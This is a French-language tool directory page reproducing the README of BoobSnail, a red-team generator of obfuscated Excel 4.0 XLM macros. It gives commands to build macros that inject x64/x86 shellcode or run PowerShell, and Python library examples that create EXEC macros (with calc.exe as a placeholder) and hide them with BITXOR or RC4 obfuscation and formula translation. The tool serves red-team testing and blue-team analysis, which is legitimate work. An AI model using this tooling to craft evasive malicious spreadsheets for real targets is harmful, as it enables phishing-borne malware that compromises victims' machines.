Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
boobsnail — Générer des macros Excel 4.0 XLM obfusquées pour les opérations de red team et l'analyse de blue team, avec prise en charge de multiples techniques d'infection, la traduction de formules et des générateurs personnalisés basés sur une bibliothèque. | Kitploit
Outils/GitHubGitHub/stmcyber/boobsnail
Outils de PhishingGénération de PayloadsTests d'IntrusionIngénierie SocialeRed Teaming
GitHubstmcyber/boobsnail

boobsnail

Générer des macros Excel 4.0 XLM obfusquées pour les opérations de red team et l'analyse de blue team, avec prise en charge de multiples techniques d'infection, la traduction de formules et des générateurs personnalisés basés sur une bibliothèque.

Voir le dépôt
25649il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

License

Suivez-nous sur Twitter!

BoobSnail

BoobSnail permet de générer des macros XLM (Excel 4.0). Son but est de soutenir les RedTeam et BlueTeam dans la génération de macros XLM. Fonctionnalités :

  • diverses techniques d'infection ;
  • diverses techniques d'obfuscation ;
  • traduction des formules dans d'autres langues que l'anglais ;
  • peut être utilisé comme bibliothèque - vous pouvez facilement écrire votre propre générateur.

Building and Running

Testé sur : Python 3.8.7rc1

root@kitploit:~
pip install -r requirements.txt
python boobsnail.py
___.                ___.     _________             .__.__
\_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  |
 | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  |
 | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__
 |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/
     \/                  \/        \/     \/     \/
     Author: @_mzer0 @stm_cyber
     (...)

Utilisation des générateurs

root@kitploit:~
python boobsnail.py <generator> -h

Pour afficher les générateurs disponibles, tapez :

root@kitploit:~
python boobsnail.py

Exemples

Générer une macro obfusquée qui injecte un shellcode x64 ou x86 :

root@kitploit:~
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv

Générer une macro obfusquée qui exécute calc.exe :

root@kitploit:~
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Sauvegarde de la sortie dans Excel

  1. Déverser la sortie dans un fichier CSV.
  2. Copier le contenu du fichier CSV.
  3. Lancer Excel et créer une nouvelle feuille de calcul.
  4. Ajouter une nouvelle macro Excel 4.0 (clic droit sur Feuil1 -> Insérer -> Macro MS Excel 4.0).
  5. Coller le contenu dans la cellule A1 ou R1C1.
  6. Cliquer sur Données -> Convertir.
  7. Cliquer sur Suivant -> Définir le point-virgule comme séparateur et cliquer sur Terminer.

Utilisation de la bibliothèque

BoobSnail partage la bibliothèque excel4lib qui permet de créer votre propre générateur de macros Excel4. excel4lib contient quelques classes qui peuvent être utilisées lors de l'écriture d'un générateur :

  • excel4lib.macro.Excel4Macro - permet de définir des formules Excel4, des variables de valeurs ;
  • excel4lib.macro.obfuscator.Excel4Obfuscator - permet d'obfusquer les instructions créées dans Excel4Macro ;
  • excel4lib.lang.Excel4Translator - permet de traduire les formules dans une autre langue.

L'idée principale de cette bibliothèque est de représenter les formules Excel4, les variables, les arguments de formules et les valeurs comme des objets Python. Grâce à cela, vous pouvez modifier facilement les attributs des instructions tels que les noms de formules ou de variables, les valeurs, les adresses, etc. Par exemple, créons une macro simple qui exécute calc.exe

root@kitploit:~
from excel4lib.macro import *
# Créer un objet macro
macro = Excel4Macro("test.csv")
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())

Résultat :

root@kitploit:~
cmd="calc.exe";
=EXEC(cmd);

Supposons maintenant que vous souhaitiez obfusquer votre macro. Pour ce faire, il vous suffit d'importer l'obfusqueur et de le passer à l'objet Excel4Macro :

root@kitploit:~
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Créer un objet macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())

Pour l'instant, excel4lib fournit deux classes d'obfuscation :

  • excel4lib.macro.obfuscator.Excel4Obfuscator utilise des fonctions Excel 4.0 telles que BITXOR, SUM, etc. pour obfusquer votre macro ;
  • excel4lib.macro.obfuscator.Excel4Rc4Obfuscator utilise le chiffrement RC4 pour obfusquer les formules.

Comme vous pouvez le voir, vous pouvez écrire votre propre classe d'obfusqueur et l'utiliser dans Excel4Macro.

Parfois, vous aurez besoin de traduire votre macro dans une autre langue, par exemple votre langue maternelle, dans mon cas c'est le polonais. Avec excel4lib, c'est assez facile. Il vous suffit d'importer la classe Excel4Translator et d'appeler set_language

root@kitploit:~
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Changer la langue
Excel4Translator.set_language("pl_PL")
# Créer un objet macro
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Ajouter une variable appelée cmd avec la valeur "calc.exe" à la feuille de calcul
cmd = macro.variable("cmd", "calc.exe")
# Ajouter la formule EXEC avec l'argument cmd
macro.formula("EXEC", cmd)
# Déverser en CSV
print(macro.to_csv())

Résultat :

root@kitploit:~
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);

Pour l'instant, seules les langues anglaise et polonaise sont prises en charge. Si vous souhaitez utiliser une autre langue, vous devez ajouter des traductions dans le répertoire excel4lib/lang/langs.

Bien sûr, vous aurez besoin de créer une formule qui prend une autre formule comme argument. Vous pouvez le faire en utilisant la fonction Excel4Macro.argument.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Ajouter une variable appelée cmd avec la valeur "calc" à la feuille de calcul
cmd_1 = macro.variable("cmd", "calc")
# Ajouter une cellule contenant .exe comme valeur
cmd_2 = macro.value(".exe")
# Créer une formule CONCATENATE qui CONCATENE cmd_1 et cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passer l'appel CONCATENATE comme argument à la formule EXEC
macro.formula("EXEC", exec_arg)
# Déverser en CSV
print(macro.to_csv())

Résultat :

root@kitploit:~
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));

Comme vous pouvez le voir, la chaîne ".exe" a été passée à la formule CONCATENATE comme R2C1. R2C1 est l'adresse de la valeur ".exe" (numéro de LIGNE 2 et numéro de COLONNE 1). excel4lib renvoie les références aux formules et aux valeurs sous forme d'adresses. Les références aux variables sont renvoyées sous leurs noms. Vous avez probablement remarqué que la classe Excel4Macro ajoute automatiquement les formules, variables et valeurs à la feuille de calcul dans l'ordre de création de ces objets et que l'adresse de départ est R1C1. Que faire si vous voulez placer des formules dans une autre colonne ou ligne ? Vous pouvez le faire en appelant la fonction Excel4Macro.set_cords.

root@kitploit:~
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Colonne 1
# Ajouter une variable appelée cmd avec la valeur "calc" à la feuille de calcul
cmd_1 = macro.variable("cmd", "calc")
# Ajouter une cellule contenant .exe comme valeur
cmd_2 = macro.value(".exe")
# Colonne 2
# Changer les coordonnées à la colonne 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Passer l'appel CONCATENATE comme argument à la formule EXEC
exec_call = macro.formula("EXEC", exec_arg)
# Colonne 1
# Revenir à la colonne 1. Changer les coordonnées à la colonne 1 et ligne 3
macro.set_cords(1,3)
# GOTO vers l'appel EXEC
macro.goto(exec_call)
# Déverser en CSV
print(macro.to_csv())

Résultat :

root@kitploit:~
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;

Auteur

mzer0 de l'équipe stm_cyber !

Articles

Le premier pas dans Excel 4.0 pour Red Team

BoobSnail - Générateur de macros Excel 4.0

Télécharger l’outil